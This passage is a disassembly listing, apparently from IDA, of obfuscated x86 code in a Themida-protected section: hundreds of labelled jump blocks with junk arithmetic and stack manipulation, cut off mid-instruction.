jmp loc_59D311 ; --------------------------------------------------------------------------- loc_5A3CD1: ; CODE XREF: Themida_:0059F866j dec edi jl loc_5AF3DD xor edi, ebx jmp loc_5A9AEB ; --------------------------------------------------------------------------- loc_5A3CDF: ; CODE XREF: Themida_:0059CCE0j add eax, ecx sub eax, 5D5E76FBh pop ecx jmp loc_59E676 ; --------------------------------------------------------------------------- loc_5A3CEC: ; CODE XREF: Themida_:005A1AA3j jg loc_5A34F9 jmp loc_5A152D ; --------------------------------------------------------------------------- loc_5A3CF7: ; CODE XREF: Themida_:005A3AD3j add eax, ecx sub eax, 100D2E6Dh pop ecx sub esp, 4 mov [esp], esi push ebp push 1FA014Ah pop ebp sub ebp, 1FA0148h push ebp pop esi pop ebp add eax, esi jmp loc_599D48 ; --------------------------------------------------------------------------- loc_5A3D1C: ; CODE XREF: Themida_:005A6AF8j sub esp, 4 jmp loc_5A6658 ; --------------------------------------------------------------------------- loc_5A3D27: ; CODE XREF: Themida_:005A1AF4j push 47B7h jmp loc_59ABDD ; --------------------------------------------------------------------------- loc_5A3D31: ; CODE XREF: Themida_:005A849Dj sub esp, 4 jmp loc_5AB6C4 ; --------------------------------------------------------------------------- loc_5A3D3C: ; CODE XREF: Themida_:0059850Bj push edx jmp loc_5A5866 ; --------------------------------------------------------------------------- loc_5A3D42: ; CODE XREF: Themida_:005A4A0Fj pop ecx sub esp, 4 mov [esp], edx mov edx, 1FF9E23Fh jmp loc_5A35A8 ; --------------------------------------------------------------------------- loc_5A3D56: ; CODE XREF: Themida_:0059BEC7j ; Themida_:0059F85Bj ... pop ebx sub edx, 62E73DEEh sub ebx, edx pop edx sub ebx, 30F700BBh and ebx, 265F3290h push edi mov edi, 220A208Ch jmp loc_5983C3 ; --------------------------------------------------------------------------- loc_5A3D77: ; CODE XREF: Themida_:005A2119j xor ebp, [esp] xor [esp], ebp jmp loc_599D51 ; --------------------------------------------------------------------------- loc_5A3D82: ; CODE XREF: Themida_:005A6B1Aj add ebx, 0F5A70B16h push edi mov edi, ebx mov eax, edi jmp loc_5A991F ; --------------------------------------------------------------------------- loc_5A3D92: ; CODE XREF: Themida_:005ABC0Cj add eax, 42955775h mov ebp, eax jmp loc_59EC9C ; --------------------------------------------------------------------------- loc_5A3D9E: ; CODE XREF: Themida_:005A46F2j mov ecx, [esp] add esp, 4 shl ecx, 1 jmp loc_5A9C90 ; --------------------------------------------------------------------------- loc_5A3DAE: ; CODE XREF: Themida_:005A2E0Fj add esp, 4 xchg eax, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_5ACD3E ; --------------------------------------------------------------------------- loc_5A3DC0: ; CODE XREF: Themida_:005AB21Fj mov ecx, esp jmp loc_5A830D ; --------------------------------------------------------------------------- loc_5A3DC7: ; CODE XREF: Themida_:0059FF67j pop eax add esp, 4 push 7E88h mov [esp], ebp push 0CC5h mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_5A6A92 ; --------------------------------------------------------------------------- loc_5A3DEE: ; CODE XREF: Themida_:005A16AEj mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_5A444E ; --------------------------------------------------------------------------- loc_5A3DFC: ; CODE XREF: Themida_:00598838j push ebp dec dword ptr [esp] pop ebp push ecx jmp loc_5997AA ; --------------------------------------------------------------------------- loc_5A3E07: ; CODE XREF: Themida_:005A2103j mov eax, 9D7ABC35h jmp loc_5A8F76 ; --------------------------------------------------------------------------- loc_5A3E11: ; CODE XREF: Themida_:0059FA40j push ebx mov ebx, 21982338h push ebp mov ebp, 1BC75B8Ah jmp loc_5A7B0A ; --------------------------------------------------------------------------- loc_5A3E22: ; CODE XREF: Themida_:005AA8FAj mov cl, 30h xor al, cl mov ecx, [esp] push 3A89h mov [esp], esi jmp loc_5A4BDB ; --------------------------------------------------------------------------- loc_5A3E36: ; CODE XREF: Themida_:005A45BCj jmp loc_59D542 ; --------------------------------------------------------------------------- loc_5A3E3B: ; CODE XREF: Themida_:005A6C27j pop edx add al, ch push ecx mov cl, 0E1h dec cl shr cl, 7 push eax jmp loc_598C96 ; --------------------------------------------------------------------------- loc_5A3E4C: ; CODE XREF: Themida_:005A465Dj jmp loc_59BAD7 ; --------------------------------------------------------------------------- loc_5A3E51: ; CODE XREF: Themida_:0059D9D3j push eax mov eax, esp push 5C67h mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx jmp loc_5A80E7 ; --------------------------------------------------------------------------- loc_5A3E6E: ; CODE XREF: Themida_:005A8E06j pop ecx add eax, 4 jmp loc_5A953C ; --------------------------------------------------------------------------- loc_5A3E77: ; CODE XREF: Themida_:005993B9j idiv ecx push eax jmp loc_5A6C56 ; --------------------------------------------------------------------------- loc_5A3E7F: ; CODE XREF: Themida_:005A3B92j mov dh, bl pop ebx push ebx jmp loc_5A3B63 ; --------------------------------------------------------------------------- loc_5A3E88: ; CODE XREF: Themida_:005A975Ej push ecx jmp loc_5AE1D5 ; --------------------------------------------------------------------------- loc_5A3E8E: ; CODE XREF: Themida_:005A8014j add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_59D37C ; --------------------------------------------------------------------------- loc_5A3E9F: ; CODE XREF: Themida_:005AF200j pop ebp push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A0673 ; --------------------------------------------------------------------------- loc_5A3EB1: ; CODE XREF: Themida_:005AEA43j mov edx, eax mov eax, [esp] add esp, 4 sub edx, 0EF88FD36h add eax, edx pop edx pop edx xor ebx, eax jmp loc_5A0090 ; --------------------------------------------------------------------------- loc_5A3ECD: ; CODE XREF: Themida_:005987DBj pop edx jmp loc_5AE95E ; --------------------------------------------------------------------------- loc_5A3ED3: ; CODE XREF: Themida_:0059AD9Bj ; Themida_:005A173Dj and edi, 4BD9747Fh jmp loc_59D53A ; --------------------------------------------------------------------------- loc_5A3EDE: ; CODE XREF: Themida_:0059ADAFj ; Themida_:005A2DF5j mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], edx push 472Ah mov [esp], eax push dword ptr [esp] jmp loc_5A817B ; --------------------------------------------------------------------------- loc_5A3EFE: ; CODE XREF: Themida_:005A8F1Bj mov [esp], ecx push esp pop ecx push esi jmp loc_5999CF ; --------------------------------------------------------------------------- loc_5A3F09: ; CODE XREF: Themida_:005AE910j jnb loc_5985C3 jmp loc_5AA0A4 ; --------------------------------------------------------------------------- add esp, 4 xchg ecx, [esp] loc_5A3F1D: ; CODE XREF: Themida_:0059BAD2j mov edi, 5E1558BAh or edi, 9523756h jl loc_5AD6D8 shr edi, 6 sub edi, 8428EE98h push eax push 123376F8h pop eax inc eax dec eax jmp loc_5AA5CA ; --------------------------------------------------------------------------- loc_5A3F45: ; CODE XREF: Themida_:005AF0EFj mov esp, [esp] jmp loc_5A10A9 ; --------------------------------------------------------------------------- loc_5A3F4D: ; CODE XREF: Themida_:005A4337j push edx jmp loc_59E713 ; --------------------------------------------------------------------------- loc_5A3F53: ; CODE XREF: Themida_:0059B96Dj add eax, 170A1E07h add eax, ebx push edi jmp loc_5A375A ; --------------------------------------------------------------------------- loc_5A3F60: ; CODE XREF: Themida_:0059B912j jmp loc_5AC14B ; --------------------------------------------------------------------------- loc_5A3F65: ; CODE XREF: Themida_:005A6F15j push ebx jmp loc_5A1DE8 ; --------------------------------------------------------------------------- loc_5A3F6B: ; CODE XREF: Themida_:005A776Ej add ecx, 4 add ecx, 4 jmp loc_5AF25D ; --------------------------------------------------------------------------- loc_5A3F79: ; CODE XREF: Themida_:0059C90Dj xchg ecx, [esp] pop esp mov [esp], edx push ecx push ebp mov ebp, 5A255CBBh mov ecx, ebp mov ebp, [esp] add esp, 4 add ecx, 161F03E4h push esi mov esi, 1 sub ecx, 6AC87D0Ch add ecx, esi add ecx, 6AC87D0Ch push dword ptr [esp] jmp loc_59CC66 ; --------------------------------------------------------------------------- loc_5A3FB1: ; CODE XREF: Themida_:0059E3AFj mov ebp, 1D856E10h jmp loc_5A90B5 ; --------------------------------------------------------------------------- mov cx, [esp] push eax jmp loc_59BF38 ; --------------------------------------------------------------------------- loc_5A3FC5: ; CODE XREF: Themida_:005AF108j pop edi push 5C6Ah mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_59F90F ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_59B3C0 ; --------------------------------------------------------------------------- loc_5A3FE1: ; CODE XREF: Themida_:005A4559j mov [esp], ebx mov eax, [esp] push 7F96h mov [esp], eax jmp loc_5A6D39 ; --------------------------------------------------------------------------- loc_5A3FF4: ; CODE XREF: Themida_:0059AC2Aj neg edx jns loc_599FF3 add edx, 7AB14EA7h mov ebx, edx pop edx add ebx, eax pop eax neg ebx sub esp, 4 mov [esp], ecx jmp loc_5A991F ; --------------------------------------------------------------------------- loc_5A4015: ; CODE XREF: Themida_:0059F375j mov ecx, 2 add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] pop esp and [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A402F: ; CODE XREF: Themida_:005AC8EEj sub dh, 11h jmp loc_5A8CFD ; --------------------------------------------------------------------------- loc_5A4037: ; CODE XREF: Themida_:005A8C4Bj sub edx, ecx pop ecx xor edx, [esp] jmp loc_59B6B5 ; --------------------------------------------------------------------------- loc_5A4042: ; CODE XREF: Themida_:005AC85Cj mov [esp], ecx jmp loc_59F047 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A4053: ; CODE XREF: Themida_:005A70BDj mov ch, dh push dword ptr [esp] jmp loc_59DC3A ; --------------------------------------------------------------------------- loc_5A405D: ; CODE XREF: Themida_:005A0D07j mov ecx, esp jmp loc_5A7E35 ; --------------------------------------------------------------------------- loc_5A4064: ; CODE XREF: Themida_:005A76B9j xor ebx, ebp pop ebp sub edi, ebx mov ebx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], ebp mov ebp, 0FFFFh jmp loc_59A8EC ; --------------------------------------------------------------------------- loc_5A4092: ; CODE XREF: Themida_:0059C309j xchg edi, [esp] pop esp xchg esi, [esp] mov esp, [esp] mov [esp], eax jmp loc_5AEAB7 ; --------------------------------------------------------------------------- loc_5A40A4: ; CODE XREF: Themida_:005A62ECj pop ebp xor eax, edx mov edx, [esp] add esp, 4 jmp loc_5A4B8F ; --------------------------------------------------------------------------- loc_5A40B2: ; CODE XREF: Themida_:005A0DFBj add esp, 4 sub ebx, 1AE34439h sub ebx, eax add ebx, 1AE34439h push 5E72h jmp loc_5ADEFC ; --------------------------------------------------------------------------- loc_5A40CD: ; CODE XREF: Themida_:005A1250j mov [esp], edx push 5349h mov [esp], eax jmp loc_5A1001 ; --------------------------------------------------------------------------- loc_5A40DD: ; CODE XREF: Themida_:005A2429j xchg eax, edx not edx xchg eax, edx push ebx jmp loc_5A1D5E ; --------------------------------------------------------------------------- loc_5A40E7: ; CODE XREF: Themida_:005A60FFj mov ebx, 73177639h add ebx, 0C8D0DE77h mov edx, ebx jmp loc_5A6FBA ; --------------------------------------------------------------------------- loc_5A40F9: ; CODE XREF: Themida_:005AE811j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_59908F ; --------------------------------------------------------------------------- loc_5A410C: ; CODE XREF: Themida_:005A462Aj mov ebp, 4 mov eax, ebp pop ebp add ecx, eax pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_5A1478 ; --------------------------------------------------------------------------- loc_5A4128: ; CODE XREF: Themida_:005A8DEDj add edx, ecx jmp loc_5A61BE ; --------------------------------------------------------------------------- loc_5A412F: ; CODE XREF: Themida_:005989E7j pop ecx mov edi, ebx jmp loc_59E5EF ; --------------------------------------------------------------------------- loc_5A4137: ; CODE XREF: Themida_:005A02C7j add edx, 6EF64C5Eh push edi mov edi, 23A33C06h add edx, edi pop edi mov ebp, [esp] add esp, 4 sub edx, 29FB28DDh add edx, ecx add edx, 29FB28DDh push ecx push edi jmp loc_5A1DBF ; --------------------------------------------------------------------------- loc_5A4164: ; CODE XREF: Themida_:005A2F27j shr ebp, 6 or ebp, 46FF0B05h jnp loc_5A280C sub ebp, 15660F92h jbe loc_5A4B7E jmp loc_5A810F ; --------------------------------------------------------------------------- loc_5A4184: ; CODE XREF: Themida_:005A5BCDj add esp, 4 and edx, 779A3364h add edx, 0D8A50EEh add edx, 0FFFFFFFFh inc edx sub edx, 5B6C40DEh add edx, 0CC174F47h sub eax, edx pop edx jmp loc_59D4A7 ; --------------------------------------------------------------------------- loc_5A41AB: ; CODE XREF: Themida_:005AC717j shl ecx, 6 jmp loc_59ADA7 ; --------------------------------------------------------------------------- loc_5A41B3: ; CODE XREF: Themida_:005A1C52j sub bh, dl pop edx xor al, bh jmp loc_5A3B7E ; --------------------------------------------------------------------------- loc_5A41BD: ; CODE XREF: Themida_:0059A2DDj dec eax xchg eax, edx add edx, 0FC33E82Ah xor eax, edx pop edx xor ecx, eax jmp loc_5A5C66 ; --------------------------------------------------------------------------- loc_5A41CF: ; CODE XREF: Themida_:005A38D0j mov dl, 36h neg dl dec dl xor dl, 0A3h jmp loc_59E745 ; --------------------------------------------------------------------------- loc_5A41DD: ; CODE XREF: Themida_:005A7070j add esp, 4 push eax push esi mov esi, 7E7954A2h inc esi js loc_59B811 neg esi jle loc_5991FE add esi, 0DF8AB5EDh mov eax, esi pop esi xor ecx, eax loc_5A4204: ; CODE XREF: Themida_:005AC013j pop ecx mov edi, [esp] add esp, 4 xor edx, [esp] jmp loc_5A8FCB ; --------------------------------------------------------------------------- loc_5A4213: ; CODE XREF: Themida_:0059DB62j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_59C4D0 ; --------------------------------------------------------------------------- loc_5A4223: ; CODE XREF: Themida_:0059B983j xor edx, [esp] pop esp jmp loc_5A7D56 ; --------------------------------------------------------------------------- loc_5A422C: ; CODE XREF: Themida_:005A04DAj xor ah, dl pop edx add ch, ah pop eax jmp loc_5994E2 ; --------------------------------------------------------------------------- loc_5A4237: ; CODE XREF: Themida_:0059B541j add eax, 4 jmp loc_59D9D8 ; --------------------------------------------------------------------------- loc_5A4241: ; CODE XREF: Themida_:005AC2DDj mov [esp], ebx mov ebx, 4 jmp loc_5AF3F1 ; --------------------------------------------------------------------------- loc_5A424E: ; CODE XREF: Themida_:005A32A9j mov edi, 61A50C59h neg edi sub edi, 9E5AF3A3h jmp loc_5A295B ; --------------------------------------------------------------------------- loc_5A4260: ; CODE XREF: Themida_:005AF1D0j mov ecx, 4 jmp loc_5A31D8 ; --------------------------------------------------------------------------- loc_5A426A: ; CODE XREF: Themida_:00599BE4j push ecx mov ecx, 66DD34ADh jmp loc_5A5258 ; --------------------------------------------------------------------------- loc_5A4275: ; CODE XREF: Themida_:00599109j sub esi, 0ED3h jmp loc_5A6B7E ; --------------------------------------------------------------------------- loc_5A4280: ; CODE XREF: Themida_:00599BFAj pop edi not edi neg edi jmp loc_5A01D4 ; --------------------------------------------------------------------------- loc_5A428A: ; CODE XREF: Themida_:0059F6F7j sub eax, 0B5310314h or ebx, eax pop eax push eax mov eax, 7FBE7F1Bh xor ebx, eax pop eax add edx, ebx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edi push 4 pop edi sub edx, edi jmp loc_5A5C8D ; --------------------------------------------------------------------------- loc_5A42C6: ; CODE XREF: Themida_:loc_5A196Bj ; Themida_:005A6A39j pop esp add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5AA887 ; --------------------------------------------------------------------------- loc_5A42DB: ; CODE XREF: Themida_:005A0B65j pop edi push ebp jmp loc_5AB1A7 ; --------------------------------------------------------------------------- loc_5A42E2: ; CODE XREF: Themida_:0059FBF2j push eax push ecx push ebp pop ecx mov eax, ecx mov ecx, [esp] add esp, 4 mov ecx, eax jmp loc_5AEEA3 ; --------------------------------------------------------------------------- loc_5A42F5: ; CODE XREF: Themida_:005A87B9j mov ecx, 4B8D1DC4h add edi, ecx pop ecx jmp loc_5A6CEE ; --------------------------------------------------------------------------- loc_5A4302: ; CODE XREF: Themida_:005AE2D2j add esp, 4 jmp loc_59B35A ; --------------------------------------------------------------------------- loc_5A430A: ; CODE XREF: Themida_:005AF590j push edx mov dh, ch mov bh, dh pop edx jmp loc_599DCB ; --------------------------------------------------------------------------- loc_5A4315: ; CODE XREF: Themida_:005AE34Ej sub [esp+8], edx jmp loc_5AC467 ; --------------------------------------------------------------------------- loc_5A431E: ; CODE XREF: Themida_:005A8B6Dj pop edx and ebx, 4A1D701Ah shr ebx, 2 sub esp, 4 mov [esp], ebp push ebx mov ebx, 551B21B2h jmp loc_5A3F4D ; --------------------------------------------------------------------------- loc_5A433C: ; CODE XREF: Themida_:0059D3A4j push dword ptr [esp] pop ebx add esp, 4 mov bl, al pop eax xor al, bl jmp loc_5A777E ; --------------------------------------------------------------------------- loc_5A4350: ; CODE XREF: Themida_:005A3590j mov edx, [esp] add esp, 4 add eax, 759A7A3Eh pop ecx add eax, ebx jmp loc_5A509E ; --------------------------------------------------------------------------- loc_5A4366: ; CODE XREF: Themida_:005A7132j pop esp sub esp, 4 mov [esp], edx push esi push ebx mov ebx, 41F87CF7h dec ebx jge loc_5A0E84 neg ebx jbe loc_59D8DD jmp loc_59E0C7 ; --------------------------------------------------------------------------- loc_5A438B: ; CODE XREF: Themida_:loc_5A67ABj or cl, 0A4h jns loc_5A467E xor cl, 6Ch jmp loc_5AF519 ; --------------------------------------------------------------------------- loc_5A439C: ; CODE XREF: Themida_:0059BF64j mov ebx, ebp pop ebp jmp loc_5A2AA5 ; --------------------------------------------------------------------------- loc_5A43A4: ; CODE XREF: Themida_:005A827Bj sub eax, 9EDD1486h add ebx, eax pop eax mov ecx, 60E7119Fh push edx jmp loc_59E34C ; --------------------------------------------------------------------------- loc_5A43B7: ; CODE XREF: Themida_:loc_599E61j sub edx, 46DC0FA9h sub edx, 0B1B53980h jmp loc_5A1DF9 ; --------------------------------------------------------------------------- loc_5A43C8: ; CODE XREF: Themida_:0059CB3Dj mov eax, [esp] add esp, 4 xchg eax, esi sub esi, 829799B8h push esi pop ecx mov esi, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx jmp loc_5AAFF2 ; --------------------------------------------------------------------------- loc_5A43FA: ; CODE XREF: Themida_:00598778j add al, dh jmp loc_59BF77 ; --------------------------------------------------------------------------- loc_5A4401: ; CODE XREF: Themida_:005985DDj add edi, 4 xchg edi, [esp] pop esp movsx ecx, ax jmp loc_5AB8AD ; --------------------------------------------------------------------------- loc_5A4413: ; CODE XREF: Themida_:0059C15Ej ; Themida_:005A9C1Fj xor edi, ebp jmp loc_5A97A5 ; --------------------------------------------------------------------------- loc_5A441A: ; CODE XREF: Themida_:005A57E5j inc ebp sub ebp, 55324183h add esi, ebp pop ebp xchg esi, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx push 5EF3h mov [esp], esi push 0C1Dh mov [esp], ebx jmp loc_59F720 ; --------------------------------------------------------------------------- loc_5A444E: ; CODE XREF: Themida_:005A3DF7j push dword ptr [esp] jmp loc_59FF64 ; --------------------------------------------------------------------------- loc_5A4456: ; CODE XREF: Themida_:0059D14Bj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A445B: ; CODE XREF: Themida_:0059E84Bj shl ebp, 3 jmp loc_5AE68C ; --------------------------------------------------------------------------- loc_5A4463: ; CODE XREF: Themida_:005ADC00j sub esp, 4 mov [esp], edx pop ecx pop edx sub ecx, 0BDFC9BBFh push edx mov edx, 2A7E6F90h add ebx, edx jmp loc_5A568C ; --------------------------------------------------------------------------- loc_5A4481: ; CODE XREF: Themida_:005A7EFFj add esp, 4 push ebp mov ebp, 4 add edx, ebp pop ebp push edx push dword ptr [esp+4] pop edx jmp loc_5AF3D2 ; --------------------------------------------------------------------------- loc_5A4498: ; CODE XREF: Themida_:0059F300j ; Themida_:0059F798j jz loc_5A0659 shl esi, 5 jnp loc_5AA221 jmp loc_5AE70F ; --------------------------------------------------------------------------- push edi mov edi, esp push ebp or ch, 0D6h loc_5A44B3: ; CODE XREF: Themida_:005A9E1Cj not ebx add ebx, 0B7C4B0F8h push ebx jmp loc_59CAB0 ; --------------------------------------------------------------------------- loc_5A44C1: ; CODE XREF: Themida_:005A9C47j add ebp, 4 jmp loc_5A761C ; --------------------------------------------------------------------------- loc_5A44CC: ; CODE XREF: Themida_:005A8976j sub eax, esi jmp loc_59A4B8 ; --------------------------------------------------------------------------- loc_5A44D3: ; CODE XREF: Themida_:005A292Cj xor [esp], ebx jmp loc_5A58C0 ; --------------------------------------------------------------------------- loc_5A44DB: ; CODE XREF: Themida_:00598B05j xor [esp+4], ecx pop ecx pop eax push edi mov edi, 724C6583h sub edi, 47D8FD92h jmp loc_59ADDE ; --------------------------------------------------------------------------- loc_5A44F2: ; CODE XREF: Themida_:005A6336j and ecx, 60A75FCDh jmp loc_5AA297 ; --------------------------------------------------------------------------- loc_5A44FD: ; CODE XREF: Themida_:005AE4E7j or dh, 6Eh jb loc_5AD1F8 sub dh, 0BFh jl loc_5A3C70 and dh, 0F7h push eax mov al, 5Ch xor al, 0A8h xor al, 21h jmp loc_59B8E4 ; --------------------------------------------------------------------------- loc_5A451E: ; CODE XREF: Themida_:0059B175j sub esi, 88FE7D2h sub ebx, 0C236EC8h add ebx, esi add ebx, 0C236EC8h pop esi sub ebx, edi push ecx jmp loc_5A5C00 ; --------------------------------------------------------------------------- loc_5A453B: ; CODE XREF: Themida_:005A58BBj neg edx add edx, 68BB361Eh and edx, 28471DEh sub edx, 0C2AF561Eh jmp loc_5AECE9 ; --------------------------------------------------------------------------- loc_5A4554: ; CODE XREF: Themida_:005A02ADj push 32ABh jmp loc_5A3FE1 ; --------------------------------------------------------------------------- loc_5A455E: ; CODE XREF: Themida_:0059C02Aj push esi mov esi, 4 add eax, esi pop esi push edi jmp loc_5AEDF0 ; --------------------------------------------------------------------------- loc_5A456D: ; CODE XREF: Themida_:005AA2A3j push ebx jmp loc_5AA1C5 ; --------------------------------------------------------------------------- loc_5A4573: ; CODE XREF: Themida_:005A477Ej xchg edi, ebx xor [esp], ebx jmp loc_5A5FEB ; --------------------------------------------------------------------------- loc_5A457D: ; CODE XREF: Themida_:0059C824j ; Themida_:005A2695j mov esi, 0F6FCBC30h jmp loc_5A0D86 ; --------------------------------------------------------------------------- loc_5A4587: ; CODE XREF: Themida_:005AD713j mov eax, 73DF71FFh or eax, 39AC4E82h jmp loc_5A25CF ; --------------------------------------------------------------------------- loc_5A4596: ; CODE XREF: Themida_:005A4756j mov eax, [esp] push 7F37h mov [esp], ebx mov ebx, esp add ebx, 4 push ecx push esi mov esi, 76FA4653h or esi, 710E479Eh sub esi, 33B94E1Ah jge loc_5A3E36 jmp loc_59ED82 ; --------------------------------------------------------------------------- pop edx add al, ch push ecx mov cl, 0E1h dec cl mov ecx, esi loc_5A45D1: ; CODE XREF: Themida_:00598EF3j push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, 4 add ebp, esi pop esi jmp loc_5A6298 ; --------------------------------------------------------------------------- loc_5A4610: ; CODE XREF: Themida_:0059D021j pop edx add esi, 501538E5h jmp loc_5AB055 ; --------------------------------------------------------------------------- loc_5A461C: ; CODE XREF: Themida_:005AD056j add [esp+4], ebx pop ebx pop ecx add ecx, 4 push eax push ebp jmp loc_5A410C ; --------------------------------------------------------------------------- loc_5A462F: ; CODE XREF: Themida_:0059A6C2j ; Themida_:005A218Ej jmp loc_5AB0E5 ; --------------------------------------------------------------------------- loc_5A4634: ; CODE XREF: Themida_:00599297j shr cl, 1 jmp loc_59F97F ; --------------------------------------------------------------------------- loc_5A463B: ; CODE XREF: Themida_:00599B15j push esp pop eax add eax, 4 push ebx sub esp, 4 mov [esp], ecx jmp loc_5A3817 ; --------------------------------------------------------------------------- loc_5A464E: ; CODE XREF: Themida_:loc_5AC305j add edi, 8B3F063Ah mov ebx, edi pop edi sub ebx, 0DE47EF5Ch jmp loc_5A3E4C ; --------------------------------------------------------------------------- mov ax, [esp] push 7141h mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], ebp jmp loc_59BACC ; --------------------------------------------------------------------------- loc_5A467E: ; CODE XREF: Themida_:005A438Ej xor cl, 6Ch jmp loc_5A239B ; --------------------------------------------------------------------------- loc_5A4686: ; CODE XREF: Themida_:005AA482j push esi mov esi, 4 add edi, esi pop esi jmp loc_5AD795 ; --------------------------------------------------------------------------- loc_5A4694: ; CODE XREF: Themida_:005ADC85j push edx mov dh, 9Ah sub dh, 57h not dh add dh, 0B1h jmp loc_5A6E91 ; --------------------------------------------------------------------------- loc_5A46A4: ; CODE XREF: Themida_:005A670Aj mov ebx, 4 sub ebp, 4D5319CFh jmp loc_599BFF ; --------------------------------------------------------------------------- loc_5A46B4: ; CODE XREF: Themida_:005AA0CCj or al, 5Bh jns loc_5AB634 dec al jmp loc_5AF356 ; --------------------------------------------------------------------------- loc_5A46C3: ; CODE XREF: Themida_:005AB636j xor al, 9 mov ch, al pop eax jmp loc_5AB4AB ; --------------------------------------------------------------------------- loc_5A46CD: ; CODE XREF: Themida_:005AB46Cj xchg cl, al not cl push edx mov dl, cl jmp loc_59F7AD ; --------------------------------------------------------------------------- loc_5A46D9: ; CODE XREF: Themida_:005A334Bj add ecx, ebx pop ebx jmp loc_5A7949 ; --------------------------------------------------------------------------- loc_5A46E1: ; CODE XREF: Themida_:005A6280j mov [esp], ebp mov ebp, esp add ebp, 4 push ecx push 66B245DAh jmp loc_5A3D9E ; --------------------------------------------------------------------------- loc_5A46F7: ; CODE XREF: Themida_:005AA3B4j sub ebp, 492F8F70h jmp loc_5AD6ED ; --------------------------------------------------------------------------- loc_5A4702: ; CODE XREF: Themida_:005AE085j push ebx mov ebx, 62F27410h jmp loc_5A8BFB ; --------------------------------------------------------------------------- loc_5A470D: ; CODE XREF: Themida_:005AAB75j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5A5079 ; --------------------------------------------------------------------------- loc_5A471B: ; CODE XREF: Themida_:005A13A6j jo loc_59B4A0 jmp loc_5ABE37 ; --------------------------------------------------------------------------- loc_5A4726: ; CODE XREF: Themida_:00599225j xor dh, 0DCh sub bl, dh pop edx sub bl, cl push cx mov ch, 0A3h add bl, ch pop cx mov ecx, [esp] add esp, 4 sub bl, 0B4h push cx jmp loc_5A1A10 ; --------------------------------------------------------------------------- mov ax, [esp] push 0B4h mov [esp], eax push esp jmp loc_5A4596 ; --------------------------------------------------------------------------- loc_5A475B: ; CODE XREF: Themida_:005AB991j mov esp, [esp] jmp loc_5ADBAB ; --------------------------------------------------------------------------- loc_5A4763: ; CODE XREF: Themida_:005987B4j ; Themida_:0059AE6Fj add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_59F82E ; --------------------------------------------------------------------------- loc_5A477A: ; CODE XREF: Themida_:005ADCC8j xchg edi, ebx not edi jmp loc_5A4573 ; --------------------------------------------------------------------------- loc_5A4783: ; CODE XREF: Themida_:005AA1B0j push eax sub esp, 4 mov [esp], ecx jmp loc_5A0CC7 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_5A4FE4 ; --------------------------------------------------------------------------- loc_5A479D: ; CODE XREF: Themida_:005A0E9Dj add ecx, 4 push ebp mov ebp, 354227CCh shl ebp, 7 add ebp, 5EEC1A04h sub ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 jmp loc_59A899 ; --------------------------------------------------------------------------- loc_5A47CA: ; CODE XREF: Themida_:005A3974j pop eax jmp loc_5AF230 ; --------------------------------------------------------------------------- loc_5A47D0: ; CODE XREF: Themida_:005AC68Fj push esi mov esi, 26A54667h sub esi, 6FA6698Dh or esi, 88078Ch add esi, 108352E3h and esi, 3E3118Bh xor esi, 92A09ECh and ecx, esi pop esi sub ecx, 2A81149h add ebp, ecx push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] push esi mov esi, esp push eax mov eax, 659B1093h not eax jmp loc_59F9E3 ; --------------------------------------------------------------------------- loc_5A4821: ; CODE XREF: Themida_:005A683Fj mov edx, [esp] add esp, 4 mov ebp, ebx pop ebx sub ecx, 81A216Bh add ecx, ebp jmp loc_5ADD6C ; --------------------------------------------------------------------------- loc_5A483A: ; CODE XREF: Themida_:005ABD44j add esi, ecx mov ecx, [esp] add esp, 4 push ecx jmp loc_5AC935 ; --------------------------------------------------------------------------- loc_5A484B: ; CODE XREF: Themida_:loc_5A01C2j add edx, 6BE9A803h jmp loc_5A4991 ; --------------------------------------------------------------------------- loc_5A4856: ; CODE XREF: Themida_:005A9A45j jp loc_59C110 push esi push 1A63h mov [esp], eax push esi jmp loc_599865 ; --------------------------------------------------------------------------- loc_5A486B: ; CODE XREF: Themida_:005A9C7Dj ; Themida_:loc_5ABB11j add esp, 4 push ebx jmp loc_5A0F61 ; --------------------------------------------------------------------------- loc_5A4874: ; CODE XREF: Themida_:005A70D3j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_59C8EC ; --------------------------------------------------------------------------- loc_5A488B: ; CODE XREF: Themida_:0059B700j push eax mov eax, 